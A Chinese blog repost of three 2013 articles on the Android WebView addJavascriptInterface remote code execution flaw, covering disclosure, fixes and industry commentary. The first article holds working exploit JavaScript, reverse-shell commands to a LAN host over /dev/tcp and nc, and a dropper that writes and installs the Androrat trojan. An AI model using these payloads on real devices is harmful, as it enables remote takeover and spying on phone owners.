最新消息:

安卓WebView中接口隐患(远程代码执行漏洞)与手机挂马利用学习

Andriod admin 3907浏览 0评论

漏洞预警:安卓WebView中接口隐患(远程代码执行漏洞)与手机挂马利用

0×00 背景
在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView
下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android
本机。
0×01 检测利用
一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。
在android 代码程序一般是这样使用:
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), “js2java”);
这里可以用
apk->zip->dex->dex2jar->jdgui->java
代码来查找。
但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
在smali代码中 则是类似下列的代码:
const-string v0, ” js2java ”
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
当检测到存在上述代码时,可以进行进一步验证利用:
在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
<script>
function execute(cmdArgs)
{
return js2java.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
}

</script>
利用java的exec执行linux的shell命令。
0×02 远程获取shell
套用yuange的一句话:Poc远远小于exp的价值。
利用addJavascriptInterface实现shell.
Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。
使用了java的反弹shell方法
//execute([“/system/bin/sh”,”-c”,”exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do \$line 2>&5 >&5; done”]);
在Nexus One 4.3的android虚拟机 并未成功弹出shell.
后发现android中可执行 nc命令 (阉割版的不带-e的nc)
这里用了nc的另外一种弹shell的方法完成
Exp 内容:
<script>
function execute(cmdArgs)
{
return XXX.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
}
execute([“/system/bin/sh”,”-c”,”nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999″]);
alert(“ok3”);
</script>
// 注 xxx 保护隐私用xx代指。
效果如下

当然可以用远程IP地址。
0×03 远程挂马
毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。
再升华下,实现网页挂马。
Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。
这里以androrat远控木马为例。
实现网页挂马
大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
}

var armBinary = “\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x51\\x8F\\xCA\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x04\\x00\\x72\\x65\\x73\\x2F\\x6C\\x61\\x79\\x6F\\x75\\x74\\x2F\\x6D\\x61\\x69\\x6E\\x2E\\x78\\x6D\\x6C\\xFE\\xCA\\x00\\x00\\xAD\\x52\\x31\\x6F\\xD3\\x40\\x18\\xFD\\x2E\\x76\\xAE\\x86\\xC4\\x69\\x5A\\x3A\\x54\\xA2\\x12\\xA9\\xC4\\x80\\x22\\x61\\xE3\\xAA\\x42\\x4D\\xC7\\x22\\x86\\x4A\\x91\\xA8\\x14\\xC4\\x0A\\x56\\x7C\\xC2\\x27\\x68\\x1C\\x39\\x57\\x0A\\x53\\x11\\x3B\\x63\\x37\\x06\\xFE\\x01\\x33\\x1B\\x43\\x17\\x36\\x56\\xFE\\x07\\xAC\\x6D\\x9F\\xCB\\x1D\\x3D\\x
……
var patharm = “/data/app/Androrat.apk”;
var a=execute([“/system/bin/sh”,”-c”,”echo -n ‘”+armBinary+”‘ > ” + patharm]);
execute([“chmod”,” 755 “,”/data/app/Androrat.apk”]);
这样存在几个问题:
andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)
/data/app/ 目录存在权限问题,需要root,chmod 也是同理。
Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以
通过调用隐藏api安装。
经过进行fuzz实验,完成了挂马功能:
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
}

var armBinary1 = “\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x51\\x8F\\xCA\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x04\\x00\\x72\\x65\\x73\\x2F\\x6C\\x61\\x79\\x6F\\x75\\x74\\x2F\\x6D\\x61\\x69\\x6E\\x2E\\x78\\x6D\\x6C\\xFE\\xCA\\x00\\x00\\xAD\\x52\\x31\\x6F\\xD3\\x40\\x18\\xFD\\x2E\\x76\\xAE\\x86\\xC4\\x69\\x5A\\x3A\\x54\\xA2\\x12\\xA9\\xC4\

var armBinary2=”\\x1B\\xB0\\x65\\x0A\\xAD\\x23\\xC2\\x30\\x64\\xDF\\xEE\\xA1\\x0D\\xA4\\xE8\\x3F\\x61\\x80\\xEE\\xBC\\xE1\\xE7\\x7B\\x4A\\x25\\x6F\\x8B\\x36\\x71\\xC3\\x80\\x81\\x58\\xDB\\xC9\\x8F\\x53\\x9F\\xEE\\x8A\\x45\\xAF\\x23\\x54\\x4A\\xCF\\x2B\\x52\\xF2\\x33\\x84\\xBA\\x82\\x36\\xC4\\x0D\\x08\\xAF\\xC2\\x61\\x8E\\xD8\\x7B\\x0B\\xFC\\x88\\x4A\\x25\\x24\\x8C\\x22\\xFA\\x76\\x44\\x78\\x5E\\x99\\x62\\x30\\x44\\x8D\\xDB\\x74\\x94\\

var armBinary3=…
var armBinary4=…
……
var patharm = “/mnt/sdcard/Androrat.apk”;
var a=execute([“/system/bin/sh”,”-c”,”echo -n ‘”+armBinary1+”‘ > ” + patharm]);
//alert(a);
execute([“/system/bin/sh”,”-c”,”echo -n ‘”+armBinary2+”‘ >> ” + patharm]);
execute([“/system/bin/sh”,”-c”,”echo  -n ‘”+armBinary3+”‘ >> ” + patharm]);
execute([“/system/bin/sh”,”-c”,”echo -n ‘”+armBinary4+”‘ >> ” + patharm]);
execute([“/system/bin/sh”,”-c”,”adb install /mnt/sdcard/Androrat.apk”]);
alert(“over !!!”);
</script>
将androrat.apk拆分。
利用echo写入到sdcard中(此目录可读可写 不可执行)。
利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。
http://wydrops-wordpress.stor.sinaapp.com/uploads/2013/09/a2.png

Androrat 成功安装,这里使用了androrat的debug=true模式。
http://wydrops-wordpress.stor.sinaapp.com/uploads/2013/09/a3.png
成功连接到控制端。
0×04 修复
1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:)】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。
2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。
3、控制相关权限或者尽可能不要使用js2java的bridge。
Link:
http://developer.android.com/reference/android/webkit/WebView.html
http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,
java.lang.String)
http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
http://50.56.33.56/blog/?p=314
作者:livers
摘自:http://drops.wooyun.org/papers/548

Android WebView的Js对象注入漏洞解决方案

最近在做一个项目过程中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台(http://www.wooyun.org)报告出来的。

1,使用场景

我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好 处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网 页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而 WebView已经提供了这样的方法,具体用法如下:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。

我们一起来看看关于addJavascriptInterface方法在Android官网的描述:
  • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object’s public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
  • The Java object’s fields are not accessible.

简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。

2,漏洞描述

通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述:猛点这里
1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.
3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:
function execute(cmdArgs)
{
    for (var obj in window) {
        if ("getClass" in window[obj]) {
            alert(obj);
            return  window[obj].getClass().forName("java.lang.Runtime")
                 .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
        }
    }
}
12

3,漏洞证明

举例一:为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <script>
      var i=0;
      function getContents(inputStream)
      {
        var contents = ""+i;
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            contents += "\n"
            b = inputStream.read();
        }
        i=i+1;
        return contents;
       }

       function execute(cmdArgs)
       {
        for (var obj in window) {
            console.log(obj);
            if ("getClass" in window[obj]) {
                alert(obj);
                return window[obj].getClass().forName("java.lang.Runtime").
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
         }
       } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));
    </script>

    <script language="javascript">
      function onButtonClick() 
      {
        // Call the method of injected object from Android source.
        var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
        alert(text);
      }

      function onImageClick() 
      {
        //Call the method of injected object from Android source.
        var src = document.getElementById("image").src;
        var width = document.getElementById("image").width;
        var height = document.getElementById("image").height;

        // Call the method of injected object from Android source.
        jsInterface.onImageClick(src, width, height);
      }
    </script>
  </head>

  <body>
      <p>点击图片把URL传到Java代码</p>
      <img class="curved_box" id="image" 
         onclick="onImageClick()"
         width="328"
         height="185"
         src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"
         onerror="this.src='background_chl.jpg'"/>
    </p>
    <button type="button" onclick="onButtonClick()">与Java代码交互</button>
  </body>
</html>

这段HTML的运行效果如下:

图一:期望运行结果图
上图中,点击按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看execute()这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
return window[obj].getClass().forName("java.lang.Runtime").
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
需要添加的权限:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)

图二:实际运行结果,列出了SDCard中的文件
举例二:360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
图四:错误结果

4,解决方案

1,Android 4.2以上的系统
在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:
class JsObject {
   @JavascriptInterface
   public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
2,Android 4.2以下的系统

这个问题比较难解决,但也不是不能解决。
首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到WebChromeClient类中相应的方法,对于prompt,它对应的方法是onJsPrompt方法,这个方法的声明如下:
public boolean onJsPrompt(WebView view, String url, String message, 
    String defaultValue, JsPromptResult result)
通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?
经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:
【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含:特定标识,方法名称,参数等。在onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。
【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:
javascript:(function JsAddJavascriptInterface_(){
    if (typeof(window.jsInterface)!='undefined') {    
        console.log('window.jsInterface_js_interface_name is exist!!');} 
    else {
        window.jsInterface = {        
            onButtonClick:function(arg0) { 
                return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
            },

            onImageClick:function(arg0,arg1,arg2) { 
                prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
            },
        };
    }
}
)()
说明:
1,上面代码中的jsInterface就是要注册的对象名,它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。
2,prompt中是我们约定的字符串,它包含特定的标识符MyApp:,后面包含了一串JSON字符串,它包含了方法名,参数,对象名等。
3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的onJsPrompt方法,我们再解析出方法名,参数,对象名,再反射调用方法。
4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是:方法名:function(参数1,参数2) 

5,一些思考

以下是在实现这个解决方案过程中遇到的一些问题和思考:
【1】生成Js方法后,加载这段Js的时机是什么?
刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无 效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:
  • onLoadResource
  • doUpdateVisitedHistory
  • onPageStarted
  • onPageFinished
  • onReceivedTitle
  • onProgressChanged
目前测试了这几个地方,没什么问题,这里我也不能完全确保没有问题。
【2】需要过滤掉Object类的方法
由于通过反射的形式来得到指定对象的方法,他会把基类的方法也会得到,最顶层的基类就是Object,所以我们为了不把getClass方法注 入到Js中,所以我们需要把Object的公有方法过滤掉。这里严格说来,应该有一个需要过滤方法的列表。目前我的实现中,需要过滤的方法有:
        “getClass”,
“hashCode”,
“notify”,
“notifyAll”,
“equals”,
“toString”,
“wait”,
【3】通过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,通过遍历window的对象,不能找到我们通过loadUrl注入的js对象吗?
关于这个问题,我们的方法是通过Js声明的,通过loadUrl的形式来注入到页面中,其实本质相当于把我们这动态生成的这一段Js直接写在 Html页面中,所以,这些Js中的window中虽然包含了我们声明的对象,但是他们并不是Java对象,他们是通过Js语法声明的,所以不存在 getClass之类的方法。本质上他们是Js对象。
【4】在Android 3.0以下,系统自己添加了一个叫searchBoxJavaBridge_的Js接口,要解决这个安全问题,我们也需要把这个接口删除,调用 removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。
【5】在实现过程中,我们需要判断系统版本是否在4.2以下,因为在4.2以上,Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。
转载请注明出处,谢谢大家!!!
转自:http://blog.csdn.net/leehong2005/article/details/11808557
ps:我经过修改上述代码,实现了可以执行命令、读文件、写文件、反弹shell的功能,代码保存在gist上。
android webview 漏洞背后的节操
标 题: 【原创】android webview 漏洞背后的节操
作 者: superhei
时 间: 2013-09-06,16:17:51
链 接: http://bbs.pediy.com/showthread.php?t=178432

口水文,如果技术男看着不爽的话 直接忽视啊 :)

android webview 漏洞背后的节操

by superhei 2013/09/06

[注:本文提到的都是我个人的观点,该行为也是私人行为,与任何组织、公司无关。另:水军请自重!]

一、前言
这两天,一个2+年前的android webview的nday就像一面“照妖镜”一样,直接暴露了很多个人和公司的节操…

二、流程

有白帽子在8月29日开始提交各种android平台上的“远程命令执行”漏洞,隐隐感觉到这是一种通用漏洞类型,通过联系并请教得到这类漏洞的技术细节。该漏洞
是android中webview组件里的addJavascriptInterface引起的。主要目的是为了实现java与js的交互操作。不过一个 通过getClass()的方法直接调用java. lang. Runtime接口执行系统命令,让android的这个设计节操碎一地!

这个问题最早是可以追溯到2011年的一篇paper《Attacks on WebView in the Android System》 http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf 这篇文章指出 了addJavascriptInterface的方式在功能上带来的一些风险,比如你的app里实现了一个读写文件的类,然后使用 addJavascriptInterface借口允许js调用,那么就可能导致攻击者直接调用这个class实现读写文件的操作。这种方式是最原始的风 险,并没有直接指出getClass()方法的利用。

直到2012年12月21日老外一篇blog出现 《Abusing WebView JavaScript Bridges》 http://50.56.33.56/blog/?p=314 可能由于这么个性话的ip访问blog形式(域名都没有)所以关注的可能不多,比如我这 样的经常到处翻东西的人也没注意到这个。也有可能很多人看到了这个页面,知道技术细节后考虑到危害或者利益自己偷偷雪藏了!不知道有没有集团偷偷使用这个 漏洞。 :)

对于这个漏洞android官方其实给出个“修补方案”的:http://blog.chengyunfeng.com/?p=483 这个是一个奇葩的 修补方案,直接忽视了android碎片化的问题,很多app开发厂商或者个人为了兼容低版本的android是不可能直接使用这个方案的。另外一方面很 多的产品过渡考虑的是用户体验问题,很多没必要使用的webview的非要使用,有的地方根本不需要java与js交互的,非要交互。美其名曰:一切为了 用户体验!

wooyun平台有个积极的效应,让一类一类的问题得到充分的暴露,于是就有了《WebView中接口隐患与手机挂马利用》http://drops.wooyun.org/papers/548
由于本文里详细的演示,“一石激起千层浪” 各种官方加班修补,各种android开发叫苦连篇,还有就是各种“妖气”开始横生…

而靠谱的修补方案却很少有人给出!

三、“妖气”来了

“妖气”一来真是乌云密布…

“万能妖”:

首先某数字旗下CDN产品微信发布消息称:“xx能拦截此类恶意代码,保护用户不受侵害”,然后就是xx工厂旗下CDN厂商,发布多条微博、微信开始热炒 该漏洞:“红色预警:安卓webview远程执行漏洞 移动应用速速接入xx保护,从云端保护您的用户不受此漏洞影响”  … 当时我看这些的消息就 非常纳闷,难道tmd你们都是整的万能药?CDN你说你防入侵还说得过去,杂这个andriod的漏洞也能防,真tn的高科技~~~ 后来有人说这个是产 品营销。营销也要靠谱点,过渡忽悠、多多泡沫是会害死人的~~~

奇怪的是各个移动安全厂商都没有啥动静,可能都去修补自己产品漏洞去了吧!:) 顺便提一下这个漏洞在线检测的问题,通过遍历dom的方法是可以找到这些 交互接口class的,这个也是通用exp的方法。腾讯TSRC也是通过这个来实现在线检测的,他们推出的时候可能并没有考虑到这个“双刃剑”问题,当然 也没有过多的不妥,因为有很多人已经意识到这个方法了。 这个代码后来直接被xx工厂旗下CDN厂商copy后并自以为的推出了一个2维码的检测! 看上 去这个方式是很拉风的,是TSRC之前没有意识到的,是我们对产品的微创新… 而这个是个实足的“泡沫“、”博眼球”的玩意。 你扫瞄这个2维码打开 这个URL提示的只是这个app本身有没有被这个漏洞影响,而不能说明其他app是不是受这个漏洞的影响,不是所有支持URL访问的都有2维码扫瞄,另外 还有一个坑的地方就是来自中间人的攻击… 如果你扫一次2维码就说明你手机安全了,那恭喜你,你已经被“妖气”迷惑了!

“狐妖”:

一直以科普、质疑而闻名的xx调查员,每次出现都给人以“专业”、“有理有据”的感觉,这个是“狐妖”最擅长的魅术。在这个“照妖镜”下直接照出了原型:

===============引用===================
如果JS引擎允许调用Java类(基于JSInvokeClass),应限于可信浏览,否则存在安全隐患。这不是秘密,不是安卓平台漏洞,而是已知的应用 策略问题,其被恶意利用的场景要求高,等级应为[低]。媒体鼓吹安全软件牛B时在场,夸大安全问题影响时也从不缺席,吃了原告吃被告。乌云吆喝“紧急!” 实乃哗众取宠。
====================================

这个是不是“哗众取宠”,懂点安全常识的人就知道。虽然我认为这个漏洞要实现完美的利用,还需要一些其他东西配合下.

“猪妖”

“猪妖”是很强大的,很容易攻击他人,星爷的《西游降魔》就充分说明了这点。再强大的妖怪也敌不过“照妖镜”,化身为某数字公司的“猪妖”直接现行了…

再一次说明了“猪妖”的强大,此漏洞大体在1月份在该公司的产品里进行一些修补策略。于是基于他的“易攻击”性,怎么可能放弃这个机会呢?于是大势攻击竞 争对手产品存在漏洞。“成也’猪妖’、败也’猪妖’”,他们忽视了另外一句名言“猪一样的队友”! 一个“str2.contains”就把自己给坑 了~~~

还有一群跟着起哄的“小妖”化身为“**粉”~~~

四、漏洞修补方案

其实在老外的blog文里提到了几个修补方案:

* Use addJavascriptInterface only if the application loads trusted content into the WebView component (Internet || IPC == sketch).
* Develop a custom JavaScript bridge using the shouldOverrideUrlLoading function.  An application could check the newly loaded URL for a custom URI scheme and respond accordingly, but be careful about what functionality you expose via this custom URI scheme, and use input validation and output encoding to prevent the standard injection attacks.
* Reconsider why a bridge between JavaScript and Java is a necessity for this Android application and remove the bridge if feasible.

第1个方案是设置信任域,这个问题其实是不太靠谱的,在我之前在kcon里演讲《去年跨过的浏览器》里有很多信任域带来的安全问题
第2个方案是使用 shouldOverrideUrlLoading 的方式,据说这个方案还是比较靠谱的,只是可能代价比较大。
第3个方案就是教育那些开发商,没有必要用webview的时候就不要用,不要java与js交互就不要用。

其实我个人认为是android官方可以出个金融所有版本的靠谱的解决方案,不过就android风格及安全意识来说基本是不可能的。

转载请注明:jinglingshu的博客 » 安卓WebView中接口隐患(远程代码执行漏洞)与手机挂马利用学习


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址